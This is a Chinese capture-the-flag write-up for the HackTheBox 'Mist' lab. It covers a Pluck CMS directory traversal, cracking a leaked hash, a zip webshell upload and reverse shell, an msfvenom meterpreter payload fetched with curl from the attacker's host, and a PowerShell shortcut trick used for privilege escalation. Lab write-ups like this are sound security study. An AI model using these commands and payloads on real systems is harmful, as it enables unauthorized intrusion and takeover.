当前位置： 首页 > news >正文

HackTheBox-Mist

news 来源：原创 2024/9/21 15:37:51

整体思路

端口扫描->Pluck CMS组件文件读取漏洞->文件上传获取shell->创建指向exe的快捷方式来提权->

信息收集&端口利用

namp -sSVC 10.10.11.17

在这里插入图片描述

目标只开放了80端口，将mist.htb加入到hosts文件后，访问mist.htb

Pluck CMS文件读取

在这里插入图片描述

在主界面发现一个admin链接，访问它

在这里插入图片描述

在Exploit-db中搜索相关漏洞，发现存在Pluck CMS 4.7 - Directory Traversal

在这里插入图片描述

能够做到任意文件读取，这里也尝试读取win.ini

在这里插入图片描述

发现被检测出攻击行为，怀疑是…/被探测，尝试绕过也无效

回到POC，根据POC来看，它是针对于album的文件读取，那么有没有地方是上传album的地方呢？经过寻找，发现data目录下还有一个settings文件夹，其中的/modules/albums文件夹下有一个admin_backup.php文件

在这里插入图片描述

在这里插入图片描述

用刚刚的POC对该文件进行读取

在这里插入图片描述

得到一串密文，使用hash-identifier识别出可能的hash值后，用john对其进行解密

在这里插入图片描述

在这里插入图片描述

解得密码为lexypoo97，登录进网站

文件上传获取shell

Pluck插件还存在一个文件上传漏洞，登录后在admin.php?action=installmodule目录下上传zip文件，将php代码打包进zip文件中，上传后即可访问到该php文件，具体步骤如下

访问文件上传界面

在这里插入图片描述

将大马写入php文件，压缩成zip文件

在这里插入图片描述

上传zip

在这里插入图片描述

上传完成后，会在/data/modules下看到上传的文件

在这里插入图片描述

访问she11/she11.php

在这里插入图片描述

本地开启http服务，上传完nc.exe后将shell反弹到kali上

在这里插入图片描述

在这里插入图片描述

创建快捷方式提权（原理暂时未知）

在Common Applications文件夹下创建一个Windows快捷方式（.lnk），并将其指向/xmapp/htdocs/下的payload.exe

创建payload.exe，并上传

kali:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.8 LPORT=9100 -f exe -o payload.exe
靶机:curl http://10.10.14.8:9999/payload.exe -o payload.exe

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("c:\Common Applications\Notepad.lnk")
$lnk.TargetPath = "c:\xampp\htdocs\payload.exe"
$lnk.Save()

等待一段时间后，相当于Brandon用户点击了该快捷方式，执行了payload.exe，拿到该用户权限

在这里插入图片描述
---------------------待更新（暂时没思路了QAQ）---------------------

相关文章：

  • 北京网站建设多少钱？
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 数据结构面试题报错调试方法记录
  • 【QT+QGIS跨平台编译】056：【pdal_kazhdan+Qt跨平台编译】（一套代码、一套框架，跨平台编译）
  • Git的简单使用
  • Vue中watch与计算属性computed
  • IO流
  • pandas(day6 图表)
  • stm32f103c8t6学习笔记（学习B站up江科大自化协）-SPI
  • Python接口自动化测试：断言封装详解
  • OPC UA遇见chatGPT
  • Git(8)之分支间同步特定提交
  • c++ Constraints 和 concepts介绍
  • 蓝桥杯算法题：卡片换位
  • WPS二次开发系列：WPS SDK初始化
  • Rustdesk二次编译，新集成AI功能开源Gpt小程序为远程协助助力,全网首发
  • 蓝桥杯刷题-13-子矩阵-二维滑动窗口 ಥ_ಥ
  • -------------------- 第二讲-------- 第一节------在此给出链表的基本操作
  • 10个确保微服务与容器安全的最佳实践
  • java小心机(3)| 浅析finalize()
  • js正则，这点儿就够用了
  • SegmentFault 2015 Top Rank
  • SpringBoot几种定时任务的实现方式
  • vue-router的history模式发布配置
  • win10下安装mysql5.7
  • 巧用 TypeScript （一）
  • 什么软件可以提取视频中的音频制作成手机铃声
  • 新手搭建网站的主要流程
  • 责任链模式的两种实现
  • 06-01 点餐小程序前台界面搭建
  • Redis4.x新特性 -- 萌萌的MEMORY DOCTOR
  • ​2020 年大前端技术趋势解读
  • #window11设置系统变量#
  • （2024，LoRA，全量微调，低秩，强正则化，缓解遗忘，多样性）LoRA 学习更少，遗忘更少
  • （七）Java对象在Hibernate持久化层的状态
  • （十五）devops持续集成开发——jenkins流水线构建策略配置及触发器的使用
  • （五）MySQL的备份及恢复
  • (转载)Linux 多线程条件变量同步
  • ../depcomp: line 571: exec: g++: not found
  • .locked1、locked勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .net core docker部署教程和细节问题
  • .net MySql
  • .net Stream篇（六）
  • .net 托管代码与非托管代码
  • .NET8.0 AOT 经验分享 FreeSql/FreeRedis/FreeScheduler 均已通过测试
  • .netcore 获取appsettings
  • .net与java建立WebService再互相调用
  • .NET中winform传递参数至Url并获得返回值或文件
  • @软考考生，这份软考高分攻略你须知道
  • [ C++ ] STL priority_queue(优先级队列)使用及其底层模拟实现，容器适配器，deque(双端队列)原理了解
  • [Algorithm][动态规划][两个数组的DP][正则表达式匹配][交错字符串][两个字符串的最小ASCII删除和][最长重复子数组]详细讲解
  • [AX]AX2012 AIF（四）：文档服务应用实例
  • [BUUCTF]-PWN:wustctf2020_number_game解析（补码，整数漏洞）
  • [BZOJ 4034][HAOI2015]T2 [树链剖分]
  • [C/C++]数据结构----顺序表的实现(增删查改)
  • [C++参考]拷贝构造函数的参数必须是引用类型
  • [Cloud Networking] Layer 2